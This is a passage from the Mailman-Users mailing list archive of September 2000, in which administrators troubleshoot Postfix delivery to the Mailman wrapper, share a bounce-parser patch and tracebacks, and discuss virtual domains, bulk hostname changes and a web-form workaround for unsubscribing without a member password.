From: jeff at shultzinfosystems.com (Jeff Shultz)
Date: Wed, 13 Sep 2000 13:25:51 -0700
Subject: [Mailman-Users] Re: Mailman not responding....
In-Reply-To: <39BFDEDF.1D6F412@tls.msk.ru>
Message-ID: <20000913201448.0962857ACD@taz.shultzinfosystems.com>

On Thu, 14 Sep 2000 00:09:03 +0400, Michael Tokarev wrote:

>What software used when that problem occurs?

Mailman beta 2.05 (newest) and Postfix.

>  What other logs says?

All that syslog and mail log say is that postfix receives the message
and turns it around to "|/home/mail/wrapper mailcmd test" 
Mailman's logs are, other than some stuff yesterday when I set up the
listserv, empty. 


>What's your configuration?

Linux Mandrake 7.1, with some updates. Running Postfix and (trying)
Mailman.  The CGI stuff works through mailman, the command line stuff
works. It's just that when Postfix uses the alias to send back the info
to the wrapper, it appears that nothing happens. 

>Why, at the end, your mail delivery wanted to do something with /misc
>automounted directory?!

I wish I knew... but I blew that stuff away and it doesn't appear to
have hurt anything. 

Jeff Shultz
Shultz Infosystems
www.shultzinfosystems.com





From bwarsaw at beopen.com  Wed Sep 13 22:33:12 2000
From: bwarsaw at beopen.com (Barry A. Warsaw)
Date: Wed, 13 Sep 2000 16:33:12 -0400 (EDT)
Subject: [Mailman-Users] Re: latest CVS... Microsoft.py problem...
References: <Pine.GSO.4.21.0009131010460.29561-100000@alb-net.com>
Message-ID: <14783.58504.974313.471998@anthem.concentric.net>

Any possibility of forwarding to me the entire message that caused
this?  I'd like to add it to my bounce test suite.

In any event, try this patch.

-Barry

-------------------- snip snip --------------------
Index: Microsoft.py
===================================================================
RCS file: /cvsroot/mailman/mailman/Mailman/Bouncers/Microsoft.py,v
retrieving revision 1.1
diff -u -r1.1 Microsoft.py
--- Microsoft.py	2000/09/09 03:32:23	1.1
+++ Microsoft.py	2000/09/13 20:29:09
@@ -31,31 +31,34 @@
         return None
     boundary = msg.getparam('boundary')
     msg.fp.seek(0)
-    mfile = multifile.MultiFile(msg.fp)
-    mfile.push(boundary)
-    # find the first subpart, which has no mime type
+    addrs = []
     try:
-        more = mfile.next()
+        mfile = multifile.MultiFile(msg.fp)
+        mfile.push(boundary)
+        # find the first subpart, which has no mime type
+        try:
+            more = mfile.next()
+        except multifile.Error:
+            # the message *looked* like a DSN, but it really wasn't :(
+            return None
+        if not more:
+            # we didn't find it
+            return None
+        # simple state machine
+        #    0 == nothng seen yet
+        #    1 == tag line seen
+        state = 0
+        while 1:
+            line = mfile.readline()
+            if not line:
+                break
+            line = string.strip(line)
+            if state == 0:
+                if scre.search(line):
+                    state = 1
+            if state == 1:
+                if '@' in line:
+                    addrs.append(line)
     except multifile.Error:
-        # the message *looked* like a DSN, but it really wasn't :(
-        return None
-    if not more:
-        # we didn't find it
-        return None
-    addrs = []
-    # simple state machine
-    #    0 == nothng seen yet
-    #    1 == tag line seen
-    state = 0
-    while 1:
-        line = mfile.readline()
-        if not line:
-            break
-        line = string.strip(line)
-        if state == 0:
-            if scre.search(line):
-                state = 1
-        if state == 1:
-            if '@' in line:
-                addrs.append(line)
-    return addrs or []
+        pass
+    return addrs



From jarrell at vt.edu  Wed Sep 13 22:32:49 2000
From: jarrell at vt.edu (Ron Jarrell)
Date: Wed, 13 Sep 2000 16:32:49 -0400
Subject: [Mailman-Users] Virtual Domains
In-Reply-To: <Pine.LNX.4.21.0009131602570.775-100000@fantomas.insite.com
 .br>
References: <5.0.0.25.2.20000913145209.0574bb50@vtserf.cc.vt.edu>
Message-ID: <5.0.0.25.2.20000913162417.02fa0cb0@vtserf.cc.vt.edu>

At 04:20 PM 9/13/00 -0300, Leonardo Rochael Almeida wrote:

>Speaking of virtual domains, I've been meaning to ask something here on
>the list.
>
>In my case however, we run a massive virtual hosting service, and I wanted
>to offer a mailman list service so list name collision between domains is
>bound to happen very soon if I use an out of the box mailman installation.
>So I was thinking in the lines of placing a mailman installation (maybe
>with a different user) for each domain, but using symlinks to the code
>directories, so that I can upgrade or change the code in a single place.

That's been discussed recently on the developers list... I expect it'll make it in soon, cause it was
acknowledged as a Good Thing...  You might take it on as a cause.  I think the suggestion was
to split up the list dir into hostname buckets, and potentially going ahead and splitting up those
buckets into "a" "b" or some similar scheme now, to be prepared for the sites that need
thousands of lists.
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From mjt at tls.msk.ru  Wed Sep 13 22:37:34 2000
From: mjt at tls.msk.ru (Michael Tokarev)
Date: Thu, 14 Sep 2000 00:37:34 +0400
Subject: [Mailman-Users] Re: Mailman not responding....
References: <20000913201448.0962857ACD@taz.shultzinfosystems.com>
Message-ID: <39BFE58E.24A7E151@tls.msk.ru>

Jeff Shultz wrote:
> 
> On Thu, 14 Sep 2000 00:09:03 +0400, Michael Tokarev wrote:
> 
> >What software used when that problem occurs?
> 
> Mailman beta 2.05 (newest) and Postfix.

Maybe I asked not clean enouth.  I meant "what processes was running
to handle your mail".  But this is not relevant now.

> 
> >  What other logs says?
> 
> All that syslog and mail log say is that postfix receives the message
> and turns it around to "|/home/mail/wrapper mailcmd test"
> Mailman's logs are, other than some stuff yesterday when I set up the
> listserv, empty.

So, postfix thinks that it successefully delivered message to mailman's
wrapper, right?  Or it reports some other errors?
BTW, what with directories in /home/mail -- maybe there are some
symlink(s) here to /misc exists?

> >What's your configuration?
> 
> Linux Mandrake 7.1, with some updates. Running Postfix and (trying)
> Mailman.  The CGI stuff works through mailman, the command line stuff
> works. It's just that when Postfix uses the alias to send back the info
> to the wrapper, it appears that nothing happens.

Again, I asked for configuration files for the two products, not about
general machine's config.

> >Why, at the end, your mail delivery wanted to do something with /misc
> >automounted directory?!
> 
> I wish I knew... but I blew that stuff away and it doesn't appear to
> have hurt anything.

But it chagned somethings, as you stated already.

Ok.  If mailman's wrapper returns 0 (success) when called by postfix
(see above), then it is definitely a mailman's problem, or your mailman's
setting's one.  I assume that this is the case -- postfix logs
successeful delivery to mailman's wrapper.

Please do the following.

as root (or, better, as other user that is a member of group that mailman
expects, -- i.e. that group with that wrapper called from postfix) execute:

  # newgrp GROUP-MAILMAN'S-WRAPPER-WANTS
     (substitute correct value here)
  # /home/mail/wrapper mailcmd test < THE-MESSAGE-THAT-YOU-SENT-TO-IT-BEFORE
     (watch for possible output here)
  # echo $?
     (should be 0)

Or, if nothing interesting will appear, add "strace -o trace" (without quotes)
before /home/... (this is possible only for root, as wrapper is setgid) and
watch the newly-created "trace" file carefully.



From scott-brown at home.com  Wed Sep 13 22:44:54 2000
From: scott-brown at home.com (Scott Brown)
Date: Wed, 13 Sep 2000 16:44:54 -0400
Subject: [Mailman-Users] Virtual Domains
In-Reply-To: <5.0.0.25.2.20000913145209.0574bb50@vtserf.cc.vt.edu>
Message-ID: <001c01c01dc3$795c6360$0401a8c0@IBMPEERS>

But wouldnt it be nice for hosting co's if there was a command line option
that allowed them to do that at list creation?
  -----Original Message-----
  From: mailman-users-admin at python.org
[mailto:mailman-users-admin at python.org]On Behalf Of Ron Jarrell
  Sent: Wednesday, September 13, 2000 2:52 PM
  To: Shane Snedecor; mailman-users at python.org
  Subject: Re: [Mailman-Users] Virtual Domains


  At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:

    Has any one set up lists for virtual domains, couldn't find anything in
    the docs on how to do this. Thanks in advance.

  Just fill in the field on the admin form for the preferred domain name.

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From RYoung at eBuilt.com  Wed Sep 13 22:53:12 2000
From: RYoung at eBuilt.com (Young, Roger)
Date: Wed, 13 Sep 2000 13:53:12 -0700
Subject: [Mailman-Users] Setting up MHonArc as an archiver
Message-ID: <AA1E32BC8A58D411A2CB0050DACEDA4375083E@raptor>

Can anyone provide step by step instructions for going from the piper
archiver to MhonArc archiver on a SUN system.

Roger Young
Unix Admin
eBuilt Inc.
(949) 609-5409




From jeff at shultzinfosystems.com  Wed Sep 13 23:07:20 2000
From: jeff at shultzinfosystems.com (Jeff Shultz)
Date: Wed, 13 Sep 2000 14:07:20 -0700
Subject: [Mailman-Users] Re: Mailman not responding....
In-Reply-To: <39BFE58E.24A7E151@tls.msk.ru>
Message-ID: <20000913205617.0FDEB57ACD@taz.shultzinfosystems.com>

On Thu, 14 Sep 2000 00:37:34 +0400, Michael Tokarev wrote:

>Jeff Shultz wrote:
>> 
>> >  What other logs says?
>> 
>> All that syslog and mail log say is that postfix receives the message
>> and turns it around to "|/home/mail/wrapper mailcmd test"
>> Mailman's logs are, other than some stuff yesterday when I set up the
>> listserv, empty.
>
>So, postfix thinks that it successefully delivered message to mailman's
>wrapper, right?  Or it reports some other errors?

As long as the proper gid (99 aka nobody) is getting passed between the
two, postfix thinks it was successful. No other errors that I've found.


>BTW, what with directories in /home/mail -- maybe there are some
>symlink(s) here to /misc exists?

You mean /home/mailman /mail?  wrapper is the only file in that
directory. 
>

>Again, I asked for configuration files for the two products, not about
>general machine's config.
>
Um... that's on a separate machine from this one. Anything specific you
are looking for? 

>> >Why, at the end, your mail delivery wanted to do something with /misc
>> >automounted directory?!
>> 
>> I wish I knew... but I blew that stuff away and it doesn't appear to
>> have hurt anything.
>
>But it chagned somethings, as you stated already.
>
It stopped registering an error message. That's the only apparent
change. 

>Ok.  If mailman's wrapper returns 0 (success) when called by postfix
>(see above), then it is definitely a mailman's problem, or your mailman's
>setting's one.  I assume that this is the case -- postfix logs
>successeful delivery to mailman's wrapper.
>
>Please do the following.
>
>as root (or, better, as other user that is a member of group that mailman
>expects, -- i.e. that group with that wrapper called from postfix) execute:
>
>  # newgrp GROUP-MAILMAN'S-WRAPPER-WANTS
>     (substitute correct value here)
>  # /home/mail/wrapper mailcmd test < THE-MESSAGE-THAT-YOU-SENT-TO-IT-BEFORE
>     (watch for possible output here)
>  # echo $?
>     (should be 0)
>
program appeared to lock up or loop. Broke it with ctrl-c.

>Or, if nothing interesting will appear, add "strace -o trace" (without quotes)
>before /home/... (this is possible only for root, as wrapper is setgid) and
>watch the newly-created "trace" file carefully.

At last count it was at 146k... and I'm seeing a whole lot of (No such
file or directory) entries at the ends of lines. 

I am starting to get errors in the Mailman error log - but I have no
idea how to read these Tracebacks. I don't know Python.
Jeff Shultz
Shultz Infosystems
www.shultzinfosystems.com





From lra at insite.com.br  Wed Sep 13 23:12:45 2000
From: lra at insite.com.br (Leonardo Rochael Almeida)
Date: Wed, 13 Sep 2000 18:12:45 -0300 (EST)
Subject: [Mailman-Users] Virtual Domains
In-Reply-To: <001c01c01dc3$795c6360$0401a8c0@IBMPEERS>
Message-ID: <Pine.LNX.4.21.0009131758120.775-100000@fantomas.insite.com.br>

You can change mm_cfg.py before creating a list (that's what I do). you
can even have several mm_cfg.py and move them around before creating each
list. Remember to put the mm_cfg.py with the official hostname back after
you create a list or password reminders and other stuff will be sent with
the last domain selected.

Regards, Leo

On Wed, 13 Sep 2000, Scott Brown wrote:

> But wouldnt it be nice for hosting co's if there was a command line option
> that allowed them to do that at list creation?
>   -----Original Message-----
>   From: mailman-users-admin at python.org
> [mailto:mailman-users-admin at python.org]On Behalf Of Ron Jarrell
>   Sent: Wednesday, September 13, 2000 2:52 PM
>   To: Shane Snedecor; mailman-users at python.org
>   Subject: Re: [Mailman-Users] Virtual Domains
> 
> 
>   At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
> 
>     Has any one set up lists for virtual domains, couldn't find anything in
>     the docs on how to do this. Thanks in advance.
> 
>   Just fill in the field on the admin form for the preferred domain name.
> 
> 




From scott-brown at home.com  Wed Sep 13 23:39:39 2000
From: scott-brown at home.com (Scott Brown)
Date: Wed, 13 Sep 2000 17:39:39 -0400
Subject: [Mailman-Users] Virtual Domains
In-Reply-To: <Pine.LNX.4.21.0009131758120.775-100000@fantomas.insite.com.br>
Message-ID: <002701c01dcb$1f54ed80$0401a8c0@IBMPEERS>

yes, but I want to go one step further and make it possible to the domain
owners to create their own lists (see my messages previously about automated
web-based list creation)... so any fumbling around with files really isnt an
option, as there could be multiple lists being created simultaneously...

I may just have to find the source to newlist and do some playing ;-)

What I'd really like is a page that I can call a newlist-like executable,
that parses out the hostname of the server, and appends it to the listname
(thereby creating unique lists across all the domains ;-)... then does the
equivalent of newlist, followed by adding the appropriate
aliases/virtualuser names to the sendmail tables, and forces sendmail to
pick up the new aliases... all in one little step that can be requested by
the user ... online .. any time.

Doesnt sound like much... does it ;-)

> -----Original Message-----
> From: Leonardo Rochael Almeida [mailto:lra at insite.com.br]
> Sent: Wednesday, September 13, 2000 5:13 PM
> To: Scott Brown
> Cc: mailman-users at python.org
> Subject: RE: [Mailman-Users] Virtual Domains
>
>
>
> You can change mm_cfg.py before creating a list (that's what
> I do). you
> can even have several mm_cfg.py and move them around before
> creating each
> list. Remember to put the mm_cfg.py with the official
> hostname back after
> you create a list or password reminders and other stuff will
> be sent with
> the last domain selected.
>
> Regards, Leo
>
> On Wed, 13 Sep 2000, Scott Brown wrote:
>
> > But wouldnt it be nice for hosting co's if there was a
> command line option
> > that allowed them to do that at list creation?
> >   -----Original Message-----
> >   From: mailman-users-admin at python.org
> > [mailto:mailman-users-admin at python.org]On Behalf Of Ron Jarrell
> >   Sent: Wednesday, September 13, 2000 2:52 PM
> >   To: Shane Snedecor; mailman-users at python.org
> >   Subject: Re: [Mailman-Users] Virtual Domains
> >
> >
> >   At 02:33 PM 9/13/00 -0400, Shane Snedecor wrote:
> >
> >     Has any one set up lists for virtual domains, couldn't
> find anything in
> >     the docs on how to do this. Thanks in advance.
> >
> >   Just fill in the field on the admin form for the
> preferred domain name.
> >
> >
>




From Brian.Beers at DigiScents.com  Wed Sep 13 23:54:22 2000
From: Brian.Beers at DigiScents.com (Brian Beers)
Date: Wed, 13 Sep 2000 14:54:22 -0700
Subject: [Mailman-Users] Bug Problem.
Message-ID: <47578F4CE585D311A85D009027D6024137F64B@DIGISCENTSNT>

Any Ideas what causes this?
 
Bug in Mailman version 1.1
 
We're sorry, we hit a bug!
If you would like to help us identify the problem, please email a copy of
this page to the webmaster for this site with a description of what
happened. Thanks! 
 
Traceback:
 
 
Traceback (innermost last):
  File "/home/mailman/scripts/driver", line 112, in run_main
    main()
  File "/home/mailman/Mailman/Cgi/admin.py", line 104, in main
    cookie='admin')
  File "/home/mailman/Mailman/SecurityManager.py", line 83, in
WebAuthenticate
    return self.CheckCookie(cookie_key)
  File "/home/mailman/Mailman/SecurityManager.py", line 117, in CheckCookie
    if cookiedata[keylen+1] <> '"' and cookiedata[-1] <> '"':
IndexError: string index out of range
 
 
 
 
 
----------------------------------------------------------------------------
----
 
Environment variables:
Variable Value 
DOCUMENT_ROOT  /home/httpd/html  
SERVER_ADDR  192.168.1.x  
HTTP_ACCEPT_ENCODING  gzip, deflate  
SERVER_PORT  80  
PATH_TRANSLATED  /home/httpd/html/test  
REMOTE_ADDR  192.168.1.x             
HTTP_ACCEPT_LANGUAGE  en-us  
GATEWAY_INTERFACE  CGI/1.1  
SERVER_NAME  localhost  
HTTP_CONNECTION  Keep-Alive  
HTTP_USER_AGENT  Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)  
HTTP_ACCEPT  */*  
REQUEST_URI  /mailman/admin/test  
PATH  /sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin  
QUERY_STRING   
SCRIPT_FILENAME  /home/mailman/cgi-bin/admin  
PATH_INFO  /test  
HTTP_HOST  sc4mail01.digiscents.com  
REQUEST_METHOD  GET  
SERVER_SIGNATURE  Apache/1.3.12 Server at localhost Port 80 
SCRIPT_NAME  /mailman/admin  
SERVER_ADMIN  root at localhost  
SERVER_SOFTWARE  Apache/1.3.12 (Unix) (Red Hat/Linux) PHP/3.0.15
mod_perl/1.21  
PYTHONPATH  /home/mailman  
HTTP_COOKIE  count=3  
SERVER_PROTOCOL  HTTP/1.1  
REMOTE_PORT  1081  
 
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From mikeraz at patch.com  Thu Sep 14 03:20:20 2000
From: mikeraz at patch.com (Michael Rasmussen)
Date: Wed, 13 Sep 2000 18:20:20 -0700 (PDT)
Subject: [Mailman-Users] EOF when reading self.__db
Message-ID: <20000914012020.417021008@barley.patch.com>

I've recently encountered problems with mailman.  Unfortunately, I don't know
python.

Below is the trace from when the program pukes.  It occures when a non-list
member sends email to a list that only accepts email from members.  What do I
need to fix?

Forwarded message:
> 
> <brewcrew at patch.com>: Command died with status 1:
> "/home/mailman/mail/wrapper
>     post brewcrew". Command output: Traceback (innermost last):   File
>     "/home/mailman/scripts/post", line 86, in ?     main()   File
>     "/home/mailman/scripts/post", line 62, in main     mlist.Post(msg)  
> File
>     "/home/mailman/Mailman/MailList.py", line 1293, in Post
>     Mailman.Handlers.HandlerAPI.DeliverToList(self, msg)   File
>     "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 61, in
> DeliverToList
>     pipeline_delivery(mlist, msg, pipeline)   File
>     "/home/mailman/Mailman/Handlers/HandlerAPI.py", line 37, in
>     pipeline_delivery     func(mlist, msg)   File
>     "/home/mailman/Mailman/Handlers/Hold.py", line 125, in process
>     hold_for_approval(mlist, msg, NonMemberPost)   File
>     "/home/mailman/Mailman/Handlers/Hold.py", line 190, in
> hold_for_approval
>     mlist.HoldMessage(msg, reason)   File
> "/home/mailman/Mailman/ListAdmin.py",
>     line 131, in HoldMessage     self.__opendb()   File
>     "/home/mailman/Mailman/ListAdmin.py", line 63, in __opendb    
> self.__db =
>     marshal.load(fp) EOFError: EOF read where object expected
> --------------9FCD39C40102033D28BDF27C
> Content-Type: message/rfc822;
>  name="nsmailM9.TMP"
> Content-Transfer-Encoding: 7bit
> Content-Description: Undelivered Message
> Content-Disposition: inline;
>  filename="nsmailM9.TMP"
> 
> Received: from ptldpop3.ptld.uswest.net (ptldpop3.ptld.uswest.net [198.36.160.3])
> 	by barley.patch.com (Postfix) with SMTP id 018921008
> 	for <brewcrew at patch.com>; Wed, 13 Sep 2000 18:12:18 -0700 (PDT)
> Received: (qmail 30846 invoked by alias); 14 Sep 2000 01:12:17 -0000
> Delivered-To: fixup-brewcrew at patch.com@fixme
> Received: (qmail 30841 invoked by uid 0); 14 Sep 2000 01:12:17 -0000
> Received: from pane.patch.com (HELO uswest.net) (209.180.166.37)
>   by ptldpop3.ptld.uswest.net with SMTP; 14 Sep 2000 01:12:17 -0000
> Message-ID: <39C0250D.463761C4 at uswest.net>
> Date: Wed, 13 Sep 2000 18:08:30 -0700
> From: Michael Rasmussen <mrasmussen1 at uswest.net>
> Reply-To: mrasmussen1 at uswest.net
> X-Mailer: Mozilla 4.7 [en] (Win95; U)
> X-Accept-Language: en
> MIME-Version: 1.0
> To: brewcrew at patch.com
> Subject: test - delete me
> Content-Type: text/plain; charset=us-ascii
> Content-Transfer-Encoding: 7bit
> 
> bounces go bouncing
> 
> --
> Michael Rasmussen - mikeraz at patch.com
>  Better a brewer than a banker be.
>  Be appropriate && Follow your curiosity
> 
> 
> 
> 
> --------------9FCD39C40102033D28BDF27C--
> 
> 


-- 

  Michael Rasmussen - mikeraz at patch.com
 Be Appropriate && Follow Your Curiosity
 email to pager:  pagemike at patch.com



From edlau at ucf.ics.uci.edu  Thu Sep 14 03:21:01 2000
From: edlau at ucf.ics.uci.edu (Edmund Lau)
Date: Wed, 13 Sep 2000 18:21:01 -0700 (PDT)
Subject: [Mailman-Users] Quick & easy host/domainname change?
Message-ID: <Pine.GSO.4.21.0009131815420.2568-100000@keg.ucf.ics.uci.edu>

I was wondering if anyone has ever change their mailman
hostname/domainname.  Is there a quick way to change it for all the lists
I have without going into each single one?  The mailman installation will
remain on the same machine.  Specifically, I'm looking for a way to change
the "Host name this list prefers" variable globally.  Has anyone done
this?  I'm (still) using v1.1

Thanks!
-Ed




From GLeblanc at cu-portland.edu  Thu Sep 14 06:59:01 2000
From: GLeblanc at cu-portland.edu (Gregory Leblanc)
Date: Wed, 13 Sep 2000 21:59:01 -0700
Subject: [Mailman-Users] Quick & easy host/domainname change?
Message-ID: <025836EFF856D411A6660090272811E61D070E@EMAIL>

> -----Original Message-----
> From: Edmund Lau [mailto:edlau at ucf.ics.uci.edu]
> 
> I was wondering if anyone has ever change their mailman
> hostname/domainname.  Is there a quick way to change it for 
> all the lists
> I have without going into each single one?  The mailman 
> installation will
> remain on the same machine.  Specifically, I'm looking for a 
> way to change
> the "Host name this list prefers" variable globally.  Has anyone done
> this?  I'm (still) using v1.1

Know python?  Nah, me either, but it should be fairly easy to program
something to do that.  The 'withlist' command loads the list into the object
m, it should be possible to do something very similar, just giving it a list
of lists to open, and the sub-object (sorry, I don't do OOP) to open and
change.  Clear as mud?  
	Greg



From esper at sherohman.org  Thu Sep 14 07:54:05 2000
From: esper at sherohman.org (Dave Sherohman)
Date: Thu, 14 Sep 2000 00:54:05 -0500 (CDT)
Subject: [Mailman-Users] config_list and stdin (was: Quick & easy host/domainname change?)
In-Reply-To: <025836EFF856D411A6660090272811E61D070E@EMAIL> from Gregory Leblanc
 at "Sep 13, 2000 09:59:01 pm"
Message-ID: <E13ZRyH-0007vC-00@pchan>

Gregory Leblanc said:
> Know python?  Nah, me either, but it should be fairly easy to program
> something to do that.  The 'withlist' command loads the list into the object
> m, it should be possible to do something very similar, just giving it a list
> of lists to open, and the sub-object (sorry, I don't do OOP) to open and
> change.  Clear as mud?  

My installation of mailman (2.0beta5-1, Debian flavor) doesn't have withlist
(I presume that's 1.1-specific), but it does have config_list, which seems
like it should be usable for the sort of thing being discussed here.

There's one thing, though, which would make it much more useful:  The ability
to read from stdin.  It can currently write to stdout (with -o -), but trying
to tell it to use stdin (with -i -) results in an "IOError: [Errno 2] No such
file or directory".

If reading from stdin were available, changing domain names would be a
breeze:

config_list -o - my-list | sed -e s/old.domain.org/new.domain.com/g |
config_list -i - my-list

As it stands now, it appears that you have to create a temporary file for
each list, i.e.:

config_list -o - my-list | sed -e s/old.domain.org/new.domain.com/g >
/tmp/my-list && config_list -i /tmp/my-list my-list ; rm /tmp/my-list

(Note:  I would expect this to be a fairly easy thing to fix, but I don't
speak Python, so I could be wrong.  Since I'm spouting off about it in
public, I will take the time to look at it and see if I can make the fix
myself, but, again, I don't speak Python.  If someone who knows the code
could address this, that would be greatly appreciated.)

(Note 2:  Command lines above are off the top of my head and have not been
tested.  If you use them, back up your list configs first, just in case they
don't perform as I intended.)

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From jbuva at kokos.cz  Thu Sep 14 12:00:38 2000
From: jbuva at kokos.cz (Jan Buva)
Date: Thu, 14 Sep 2000 12:00:38 +0200
Subject: [Mailman-Users] user perm on wrapper
Message-ID: <00f001c01e32$b4969760$4f0118ac@iba.cz>

Hi,
Im using smail and newly installed mailman - what permitions should be on file 

~/mailman/mail/wrapper ?

Failed TO:"|/home/mailman/mail/wrapper mailowner test-list1" DIRECTOR:aliases ERROR:(ERR104) director aliases: security violation


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From Fergus.Donohue at dcu.ie  Thu Sep 14 13:22:03 2000
From: Fergus.Donohue at dcu.ie (Fergus Donohue)
Date: Thu, 14 Sep 2000 12:22:03 +0100
Subject: [Mailman-Users] Bug with senddigest in 2.0b4?
Message-ID: <39C0B4DB.F428DBBB@dcu.ie>

Hi guys,

These are the top two lines from top! when senddigests is running.
Surely we shouldn't be using that much memory? This is on a Sun E450
with 1GB of RAM and close to 2000 mailing lists.

PID  USERNAME THR PRI NICE  SIZE   RES    STATE   TIME    CPU
COMMAND
1344 mailman             1    44    2        343M   342M  run
1:32       21.66%  python

Fergus.





From thomas at ifi.uio.no  Thu Sep 14 15:44:21 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 14 Sep 2000 15:44:21 +0200
Subject: [Mailman-Users] any way to unsubscr-be without a passw-rd
In-Reply-To: Dennis Director <dennis@StartSpot.com>'s message of Wed, 13 Sep
        2000 11:41:43 -0500 (CDT)
References: <Pine.LNX.4.21.0009131139230.15009-100000@irack.is3.com>
Message-ID: <MM.968939061.25652.solva@ifi.uio.no>

> I tried this question once before but got now reply.
> Is there a way to enable mebers to unsubscr-be with knowing or looking
> up the passw-rd that they were emailed when they joined.  I have had
> complaints from some users that it too burdensome.

I fully agree with you, unfortunately I don't know how or even if
it is possible in Mailman.

Thomas Gramstad
thomas at ifi.uio.no



From thomas at ifi.uio.no  Thu Sep 14 15:47:10 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 14 Sep 2000 15:47:10 +0200
Subject: [Mailman-Users] any way to unsubscr-be without a passw-rd
In-Reply-To: Dennis Director <dennis@StartSpot.com>'s message of Wed, 13 Sep
        2000 13:48:17 -0500 (CDT)
References: <Pine.LNX.4.21.0009131347420.16039-100000@irack.is3.com>
Message-ID: <MM.968939230.25652.solva@ifi.uio.no>

And the idea also is to save the list administrator for extra
unnecessary work...

> Yes, but the idea is for the person who has been subscribed to have an
> easier way to do it ..
> 
> 
> On Wed, 13 Sep 2000, Ron Jarrell wrote:
> 
> > At 11:41 AM 9/13/00 -0500, Dennis Director wrote:
> > 
> > >I tried this question once before but got now reply.
> > >Is there a way to enable mebers to unsubscr-be with knowing or looking
> > >up the passw-rd that they were emailed when they joined.  I have had
> > >complaints from some users that it too burdensome.
> > 
> > The list administrator can always do it without their password. 



From scottrus at raleigh.ibm.com  Thu Sep 14 15:45:49 2000
From: scottrus at raleigh.ibm.com (Scott Russell)
Date: Thu, 14 Sep 2000 09:45:49 -0400
Subject: [Mailman-Users] Unsubscribe from list w/o passwd
Message-ID: <20000914094549.D10877@raleigh.ibm.com>

Here's a hack.

Create a web form that allows the user to enter their email address. My
example is 'joeuser at nowhere.com'. 

Generate an email to mylist-request at mailman.server.com w/o a subject and
the single line of: "unsubscribe <list passwd> joeuser at nowhere.com". Make
sure the mail header says it is from some generic list admin address.

Mailman should then unsubscribe the user taking the list passwd instead of
the users passwd. I tested this and it seems to work with the exception of
a mail back to person who sent the message does contain the list
passwd. I think you can work around this problem by setting the email from
header to be from some generic admin address.

Be sure to test this! You don't want users to get a hold of the list
passwd!

-- 
Regards,
 Scott Russell (scottrus at raleigh.ibm.com)
 Linux Technology Center, System Admin, RHCE.




From psammy at mgtlimited.com  Thu Sep 14 16:08:02 2000
From: psammy at mgtlimited.com (Paul Sammy)
Date: Thu, 14 Sep 2000 15:08:02 +0100
Subject: [Mailman-Users] mailman metrics
References: <20000913210004.5E88C1CEAA@dinsdale.python.org>
Message-ID: <019901c01e55$325ad180$a605a8c0@cluny.mgtlimited.com>

Are there any metrics on mailman's performance?

I'd like compare mailman and other mailing list software, but I can't seem
to track down any comparison tables.

Can anyone help?

Paul




From thomas at ifi.uio.no  Thu Sep 14 16:09:16 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 14 Sep 2000 16:09:16 +0200
Subject: [Mailman-Users] Feil i Mailman
Message-ID: <MM.968940556.25652.solva@ifi.uio.no>

F?lgende problem p? (den modererte) listen
randian-feminism at ifi.uio.no:

1. Jeg logger inn p? web-siden og ser beskjeden:

Posting Held for Approval (1 of 4)
etc.

Men de 4 er p? mystisk vis sl?tt sammen til ?n melding p?
websiden.

2. N?r jeg pr?ver ? klikke av discard for denne mutant-meldingen,
kastes jeg ut av siden og kommer tilbake p? siden hvor det kreves
passord.

Noen l?sning?
                      - Thomas
Thomas Gramstad
thomas at ifi.uio.no



From thomas at ifi.uio.no  Thu Sep 14 16:10:35 2000
From: thomas at ifi.uio.no (Thomas Gramstad)
Date: Thu, 14 Sep 2000 16:10:35 +0200
Subject: [Mailman-Users] Sorry
Message-ID: <MM.968940635.25652.solva@ifi.uio.no>

Sorry about that misplaced Norwegian posting, that should
have gone elsewhere.  Won't happen again.

Thomas Gramstad
thomas at ifi.uio.no



From scottrus at raleigh.ibm.com  Thu Sep 14 16:02:54 2000
From: scottrus at raleigh.ibm.com (Scott Russell)
Date: Thu, 14 Sep 2000 10:02:54 -0400
Subject: [Mailman-Users] Unsubscribe from list w/o passwd
In-Reply-To: <20000914094549.D10877@raleigh.ibm.com>; from scottrus@raleigh.ibm.com on Thu, Sep 14, 2000 at 09:45:49AM -0400
References: <20000914094549.D10877@raleigh.ibm.com>
Message-ID: <20000914100254.C11123@raleigh.ibm.com>

To follow up my own hack, I did a bit more testing and found this works
to allow users to subscribe and unsubscribe to a list w/o worrying about
choosing a password. To set this up you'll need to create a dummy email
address that dumps messages into /dev/null or some other mail 
queue. Here's a quick break down:

dummy at myhost.com -> This is the address all subscribe / unsubscribe
messages should come from.

user at userhost.com -> The user email address who wants to subscribe or
unsubscribe.

mylist at myhost.com -> The mailman list using a list passwd of
'mylistpasswd'.

1) User selects mylist from a drop down menu on a web page and enters
   their email address of user at userhost.com. They then click 'subscribe'
   to submit the form.

2) CGI creates an email addressed to mylist-request at myhost.com from
   dummy at myhost.com. The email has no subject and a single line in the
   body: "subscribe address=user at userhost.com"

3) Depending on list options the user will get a confirm message.

4) Depending on list options the list admin will get a new user subscribed
   message.

5) dummy at myhost.com will get a 'Your command results' message which will
   be routed to /dev/null or some other mail queue as to not bother the
   list admin.

To have a user unsubscribe it's the same process execpt in step 2 the
email body should contain the line: "unsubscribe mylistpasswd
user at userhost.com".

I know php3/php4 can do this rather nicely with the mail() function. Just
be sure to keep your listpasswd out of the webpage to prevent a user from
getting it by viewing the source.

-- 
Scott

On Thu, Sep 14, 2000 at 09:45:49AM -0400, Scott Russell wrote:
> Here's a hack.
> 
> Create a web form that allows the user to enter their email address. My
> example is 'joeuser at nowhere.com'. 
> 
> Generate an email to mylist-request at mailman.server.com w/o a subject and
> the single line of: "unsubscribe <list passwd> joeuser at nowhere.com". Make
> sure the mail header says it is from some generic list admin address.
> 
> Mailman should then unsubscribe the user taking the list passwd instead of
> the users passwd. I tested this and it seems to work with the exception of
> a mail back to person who sent the message does contain the list
> passwd. I think you can work around this problem by setting the email from
> header to be from some generic admin address.
> 
> Be sure to test this! You don't want users to get a hold of the list
> passwd!
> 

-- 
Regards,
 Scott Russell (scottrus at raleigh.ibm.com)
 Linux Technology Center, System Admin, RHCE.



From jw at w3.ca  Thu Sep 14 17:18:06 2000
